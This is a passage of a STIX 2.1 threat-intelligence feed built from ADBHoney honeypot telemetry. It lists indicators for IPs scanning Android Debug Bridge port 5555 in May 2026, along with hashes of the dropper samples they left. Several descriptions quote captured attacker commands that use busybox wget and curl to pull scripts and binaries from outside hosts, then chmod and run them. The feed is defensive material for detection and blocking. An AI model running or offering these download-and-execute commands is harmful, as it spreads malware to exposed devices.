          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-10T12:17:28.000Z",
          "last_seen": "2026-05-10T12:27:56.256Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "135687"
          ],
          "org": [
            "Qwistel Network Service Private Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T13:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-10T12:49:57.000Z | last_seen=2026-05-10T13:00:06.122Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--d3601e30-8a90-411f-a68e-70238d06d406",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:00:10.000Z",
      "valid_until": "2026-06-11T13:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-10T12:49:57.000Z",
          "last_seen": "2026-05-10T13:00:06.122Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T13:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7515bf959b73b956ceb967351c7e299cbb3668a53d35f9c770eb72e00d93ced6.raw; last_seen=2026-05-10T12:54:56.809Z",
      "id": "indicator--156df059-be65-43f6-af2c-55a085bb8321",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '7515bf959b73b956ceb967351c7e299cbb3668a53d35f9c770eb72e00d93ced6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T15:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=30; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://176.65.139.76/bins/parm7; chmod 777 parm7; ./parm7 android\"\n\nObserved in ADBHoney telemetry for 2026-05. events=30 | first_seen=2026-05-10T14:00:59.000Z | last_seen=2026-05-10T14:39:22.927Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--a312bd9c-4da1-40d1-8740-6851dd0d37a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:00:01.000Z",
      "valid_until": "2026-06-11T15:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 30,
          "first_seen": "2026-05-10T14:00:59.000Z",
          "last_seen": "2026-05-10T14:39:22.927Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T15:00:01.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/3b5fed474c7ca7daf87d755878652eff49f3758e2787552346f48789ad6a6681.raw; last_seen=2026-05-10T14:37:34.538Z",
      "id": "indicator--10cb420b-19cf-4077-aa0d-6c2b3769ed97",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '3b5fed474c7ca7daf87d755878652eff49f3758e2787552346f48789ad6a6681']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-10T15:50:22.000Z | last_seen=2026-05-10T15:51:29.468Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--99655e23-7d86-4b07-921a-7802fee585be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.42.164.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:00:02.000Z",
      "valid_until": "2026-06-11T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-10T15:50:22.000Z",
          "last_seen": "2026-05-10T15:51:29.468Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=108; ports=5555; cc=PH; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=108 | first_seen=2026-05-10T15:20:52.000Z | last_seen=2026-05-10T15:54:07.718Z | ports=5555 | cc=PH | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--b5a667a5-1973-4a7b-aa5f-fcf46e525154",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.154.32.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:00:02.000Z",
      "valid_until": "2026-06-11T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 108,
          "first_seen": "2026-05-10T15:20:52.000Z",
          "last_seen": "2026-05-10T15:54:07.718Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PH"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-10T15:01:57.000Z | last_seen=2026-05-10T15:12:05.622Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:00:02.000Z",
      "valid_until": "2026-06-11T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-10T15:01:57.000Z",
          "last_seen": "2026-05-10T15:12:05.622Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-10T15:01:24.000Z | last_seen=2026-05-10T15:02:33.399Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--011fe444-02fd-496f-9145-a7129ea81d83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:00:02.000Z",
      "valid_until": "2026-06-11T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-10T15:01:24.000Z",
          "last_seen": "2026-05-10T15:02:33.399Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=BG; asn=213438; asn_org=ColocaTel Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=61 | first_seen=2026-05-10T15:44:56.000Z | last_seen=2026-05-14T07:15:16.906Z | ports=5555 | cc=BG | asn=213438 | org=ColocaTel Inc.",
      "id": "indicator--acbe1e18-a1be-45f4-b6fe-057a2c03353c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:00:02.000Z",
      "valid_until": "2026-06-11T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 61,
          "first_seen": "2026-05-10T15:44:56.000Z",
          "last_seen": "2026-05-14T07:15:16.906Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "213438"
          ],
          "org": [
            "ColocaTel Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T17:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=38; ports=5555; cc=EE; asn=43357; asn_org=Owl Limited; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"rm -f '/data/local/tmp/.sutekh.apk' 2>/dev/null\"\n\nObserved in ADBHoney telemetry for 2026-05. events=38 | first_seen=2026-05-10T16:01:51.000Z | last_seen=2026-05-10T16:10:31.743Z | ports=5555 | cc=EE | asn=43357 | org=Owl Limited | related_hashes=0dcf714e673750914e631f21abeb2dc58f034757b1896070fdbe027e4a58e416",
      "id": "indicator--27051b3e-0a19-4a4f-82c6-68e4248be625",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.127.167.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T17:00:10.000Z",
      "valid_until": "2026-06-11T17:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 38,
          "first_seen": "2026-05-10T16:01:51.000Z",
          "last_seen": "2026-05-10T16:10:31.743Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "EE"
          ],
          "asn": [
            "43357"
          ],
          "org": [
            "Owl Limited"
          ],
          "related_hashes": [
            "0dcf714e673750914e631f21abeb2dc58f034757b1896070fdbe027e4a58e416"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T17:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/0dcf714e673750914e631f21abeb2dc58f034757b1896070fdbe027e4a58e416.raw; src_ip=194.127.167.122; src_ips=194.127.167.122; cc=EE; last_seen=2026-05-10T16:03:18.884Z; cmds=[cd /data/local/tmp/; busybox wget http://176.65.139.11/cat.sh; sh cat.sh; curl http://176.65.139.11/cat.sh -o cat.sh; sh | cd /data/local/tmp/; busybox wget http://176.65.139.11/cat.sh; sh cat.sh; curl http://176.65.139.11/cat.sh -o cat.sh; sh | rm -f '/data/local/tmp/.sutekh.apk' 2>/dev/null]",
      "id": "indicator--b592bc8f-2c09-4e48-85e3-cd47f67d10d8",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '0dcf714e673750914e631f21abeb2dc58f034757b1896070fdbe027e4a58e416']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T17:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T18:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/385ea3e8820978f2ff0a2cf3abff6a0f54b43fe496cf88131dd5b331cb6ee6fc.raw; last_seen=2026-05-10T17:45:41.814Z",
      "id": "indicator--0addf2a5-cd8c-418b-89ca-fdd7cbce45c6",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '385ea3e8820978f2ff0a2cf3abff6a0f54b43fe496cf88131dd5b331cb6ee6fc']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=29 | first_seen=2026-05-10T18:49:41.000Z | last_seen=2026-05-10T21:52:46.159Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--eaab48f8-d493-482d-80c4-a12a4e58febe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:00:02.000Z",
      "valid_until": "2026-06-11T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 29,
          "first_seen": "2026-05-10T18:49:41.000Z",
          "last_seen": "2026-05-10T21:52:46.159Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=AR; asn=269987; asn_org=PABLO MARTIN HEGUIABEHERE DEXTER WIFI; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=3 | first_seen=2026-05-10T19:24:35.000Z | last_seen=2026-05-10T19:25:37.777Z | ports=5555 | cc=AR | asn=269987 | org=PABLO MARTIN HEGUIABEHERE DEXTER WIFI",
      "id": "indicator--a3b5299d-5cd6-4396-9102-0ef0b144f4f7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '177.23.128.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T20:00:03.000Z",
      "valid_until": "2026-06-11T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 3,
          "first_seen": "2026-05-10T19:24:35.000Z",
          "last_seen": "2026-05-10T19:25:37.777Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AR"
          ],
          "asn": [
            "269987"
          ],
          "org": [
            "PABLO MARTIN HEGUIABEHERE DEXTER WIFI"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T20:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/dc051f1ad62e2e396a4f3107f5f07f5e98189cd80e1c8994e23503a0e69d3da2.raw; last_seen=2026-05-10T19:42:35.461Z",
      "id": "indicator--90ac5881-232c-4c98-9e91-931498483dab",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'dc051f1ad62e2e396a4f3107f5f07f5e98189cd80e1c8994e23503a0e69d3da2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T20:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T20:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/c883cc254a3fd9a939487efd46dfc898491d607f0af9e43834201cc86797f87c.raw; last_seen=2026-05-10T19:06:34.659Z",
      "id": "indicator--af069c94-a50a-4298-877a-70c25e9597b4",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'c883cc254a3fd9a939487efd46dfc898491d607f0af9e43834201cc86797f87c']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T20:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T20:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/4a816c942d1e9033f5e3f6aef62c501dfa1d6c53eaeb4d8ca3d6da66ba25e1c6.raw; last_seen=2026-05-10T19:06:29.316Z",
      "id": "indicator--c3942ecd-3dbf-49a0-8f30-c7aa511463a9",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '4a816c942d1e9033f5e3f6aef62c501dfa1d6c53eaeb4d8ca3d6da66ba25e1c6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T20:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T20:00:03.000Z",
